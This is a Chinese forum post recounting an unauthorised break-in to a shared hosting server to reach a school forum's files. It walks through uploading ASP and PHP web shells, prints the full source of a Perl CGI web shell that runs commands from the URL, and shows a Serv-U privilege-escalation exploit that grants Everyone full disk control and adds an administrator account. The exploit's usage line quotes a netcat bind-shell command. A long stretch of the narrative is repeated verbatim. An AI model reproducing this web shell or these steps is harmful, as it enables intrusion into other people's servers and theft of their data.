记对一台BT主机的入侵过程
记对一台BT主机的入侵过程记对一台BT主机的入侵过程
终于高中毕业了，一定要在暑假努力学习，发奋学习，以前入侵少之又少，都是研究这样研究那样，实战经验太欠缺了，所以决定暑假恶补一下渗透技术，顺便又能够看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透，从 xiaolu 身上学习到不少好的思路和经验。在此谢谢xiaolu 了。
一个多月的时间里，渗透过上百台服务器，有单独的，有虚拟主机的，有群组的，有国内和外国，我发现一个极其严重的问题，外国的服务器，普遍安全性都很高，管理员的安全意识很高，做个比例，假如国内平均每 10 台服务器，能渗透进去 6 台甚至更多，那外国、台湾的，平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是个问题。可是却反映出国内的管理员的水平的的确确比外国的要差几个档次。国内的管理员的技术和意识，迫切需要大幅度提高。
但是国内的也有比较 BT 的管理员，我就遇见几个服务器配置得很。其中一个的 Documents and Settings 目录下更有 nsfocus 目录，难道是 nsfocus 公司帮做的安全？这个服务器我们没有拿下，更有另外一个，就是今天的重点。
一次看见了一个学校论坛（http://www.*****.com），还蛮火爆的，顿时兴趣来了， ping 了一下，发现 4 个包都返回 Request timed out. 估计是搞了策略或防火墙的，象我这种以 Web 安全的，自然喜欢从站点上找漏洞，自从学习 Web 开始，我就落下一个怪癖，就是假如实在从 Web 上很难找到什么漏洞，宁愿放弃也不用什么漏洞扫描器。
大概看了看站点。就是个论坛，采用 LeadBBS ，拿这个论坛没辙，更有其他办法，因为刚才我访问这个 IP ，返回“No web site is configured at this address.”，初步判断是虚拟主机，前段时间那几个黑站狂黑站的成功几率为什么这么高？因为有 [url=http://whois.webhosting.info]http://whois.webhosting.info[/url] 这个网站，能够查询一个 IP 上，绑定了多少个域名。假如真的是虚拟主机，这个学校论坛没有漏洞，不代表其他站点就没有，很快的，我就通过一个小公司站点（ http://anyhost/ ）上的 DVBBS 6.0 传了一个 aspshell 上去，谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程式的权限，又用不了 Nfso ，手工跳转 URL 中的目录，也没有多少个能够浏览的，重要的 Program Files 和 Documents and Settings 目录都看不了，从 aspshell 反馈的信息来看，每个站点都配置了单独的用户，似乎一切都陷入僵局。
没有目的的跳转目录着……
我习惯性的在 URL 跳转到 c:\php，没想到居然能够看见了，那这个主机很可能就会支持 php 了，马上传了一个 phpspy 上去，很幸运，顺利看到了登陆入口，可是没想到进入以后才发现，php.ini 亦配置得异常 BT，安全模式打开了， phpinfo 函数也被禁用了，看不了周详的系统信息，但是看 phpspy 自带的探针能够发现，allow_url_fopen、display_errors、 register_globals 统统关闭，system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了，直接跳转目录还是只能够看到这些目录而已，各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的，每个站点目录后面的那些字符串都不相同，也跳转不到，后来我猜测后面的字符串就是 ftp 密码，试验了一下，无法登陆，看似柳暗花明，希望又破灭了……
结束了吗？不，我试着 FTP 一下：
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权任何 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>ftp www.*****.com
Connected to www. school.com.
220 Welcome to FTP Server...
User ([url=http://www.bjtrq.com:]www.bjtrq.com:[/url](none)):
331 User name okay, need password.
Password:
530 Not logged in.
Login failed.
ftp> bye
221 Goodbye!
从返回的信息判断，我们还是有希望的。尽管他修改了 FTP Server 的 Banner，但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ，我上手有现在任何版本 Serv-U 本地提升权限的 Exploit ，假如我能传一个上去，并且能够执行，一切就明朗了。再仔细想想有哪个目录能够写的？当时在 c:\php 目录下没有发现 sessiondata 目录，而且也不是自动安装版，估计管理员把 session 的目录换到其他地方了，不然这个目录是 everyone 可写的……
一次看见了一个学校论坛（http://www.*****.com），还蛮火爆的，顿时兴趣来了， ping 了一下，发现 4 个包都返回 Request timed out. 估计是搞了策略或防火墙的，象我这种以 Web 安全的，自然喜欢从站点上找漏洞，自从学习 Web 开始，我就落下一个怪癖，就是假如实在从 Web 上很难找到什么漏洞，宁愿放弃也不用什么漏洞扫描器。
大概看了看站点。就是个论坛，采用 LeadBBS ，拿这个论坛没辙，更有其他办法，因为刚才我访问这个 IP ，返回“No web site is configured at this address.”，初步判断是虚拟主机，前段时间那几个黑站狂黑站的成功几率为什么这么高？因为有 [url=http://whois.webhosting.info]http://whois.webhosting.info[/url] 这个网站，能够查询一个 IP 上，绑定了多少个域名。假如真的是虚拟主机，这个学校论坛没有漏洞，不代表其他站点就没有，很快的，我就通过一个小公司站点（ http://anyhost/ ）上的 DVBBS 6.0 传了一个 aspshell 上去，谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程式的权限，又用不了 Nfso ，手工跳转 URL 中的目录，也没有多少个能够浏览的，重要的 Program Files 和 Documents and Settings 目录都看不了，从 aspshell 反馈的信息来看，每个站点都配置了单独的用户，似乎一切都陷入僵局。
没有目的的跳转目录着……
我习惯性的在 URL 跳转到 c:\php，没想到居然能够看见了，那这个主机很可能就会支持 php 了，马上传了一个 phpspy 上去，很幸运，顺利看到了登陆入口，可是没想到进入以后才发现，php.ini 亦配置得异常 BT，安全模式打开了， phpinfo 函数也被禁用了，看不了周详的系统信息，但是看 phpspy 自带的探针能够发现，allow_url_fopen、display_errors、 register_globals 统统关闭，system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了，直接跳转目录还是只能够看到这些目录而已，各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的，每个站点目录后面的那些字符串都不相同，也跳转不到，后来我猜测后面的字符串就是 ftp 密码，试验了一下，无法登陆，看似柳暗花明，希望又破灭了……
结束了吗？不，我试着 FTP 一下：
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权任何 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>ftp www.*****.com
Connected to www. school.com.
220 Welcome to FTP Server...
User ([url=http://www.bjtrq.com:]www.bjtrq.com:[/url](none)):
331 User name okay, need password.
Password:
530 Not logged in.
Login failed.
ftp> bye
221 Goodbye!
从返回的信息判断，我们还是有希望的。尽管他修改了 FTP Server 的 Banner，但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ，我上手有现在任何版本 Serv-U 本地提升权限的 Exploit ，假如我能传一个上去，并且能够执行，一切就明朗了。再仔细想想有哪个目录能够写的？当时在 c:\php 目录下没有发现 sessiondata 目录，而且也不是自动安装版，估计管理员把 session 的目录换到其他地方了，不然这个目录是 everyone 可写的……
更有就是 Perl，这个是个很大的突破口，因为 Perl 目录一般要 erveryone 完全控制的，不管他用 isap 还是 perl.exe 一般都是可写、可执行的，马上下载 Perl 的快捷方式来看看路径，呵呵，看到了，原来 D:\user\bin 就是存放 perl 的 bin 目录下的任何文档，这么说这个目录可能能够写，也可能能够执行咯，马上传一个 su.exe（针对现在任何版本的 Serv-U 本地提升权限漏洞）上去，呵呵，传上去了，太好了，现在就是执行了，刚才我们试了 aspshell、phpshell 都不行，现在就看最后的希望了，找呀找啊，终于在我硬盘上找到一个 cgishell，很老了，文档日期是 2002 年 6 月 30 日的，代码如下：
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "
\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can’t redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我用过最好的 cgishell ，保存为一个 cgi 文档执行，晕……居然不支持！一阵阵郁闷袭来，2 秒钟的郁闷后，想到更有一线希望，那就是pl ，我们还没有试试 pl 扩展呢，把刚才的 cgi 文档改为 pl 文档，提交 http://anyhost//cmd.pl?dir ，我的天啊！！
显示“拒绝访问”，终于能够执行了！太兴奋了，马上提交：
http://anyhost//cmd.pl?d:\user\bin\su.exe
返回：
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
嘻嘻～～现在是 IUSR 权限，那又怎么样？看您这次还不死？提交：
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
返回下面的信息，就表示成功了！！！
Serv-u >3.x Local Exploit by xiaolu
USER LocalAdministrator
PASS #l@$ak#.lk;0@P
SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
USER xl
PASS 111111
每提交完一次都稍微等一下，因为这些命令需要时间处理的，不一会儿，就把任何分区配置为 everyone 完全控制了，能够任意操作硬盘的东西了，但是有些命令还是受了限制，因为权限还没有提升，现在我们把自己的用户提升为管理员：
http://anyhost//cmd.pl?d:\user\bin\su.exe " net l ... s IUSR_anyhost /add"
现在我们通过 web 方式，执行的命令就是以 administrator 的身份执行的了，相信到这里，下面的事该做什么，大家应该知道了吧？马上找到那个学校的目录，进去咯～～目的达到了，本来还想做一个 3389 的肉鸡的，想想算了，这种 BT 管理员的地盘，我也占领不了多久，留点提示到他的桌面就 over 了。
说真的，搞安全这么久，从来没有遇见这么棘手的虚拟主机，要不是装了 Perl，还真是束手无策！本文技术含量不高，只是分享一下希望其中的思路，假如有一个人从中受益，这篇文章就完成他的使命了。 乱了 整理下~~！！
页:
[1]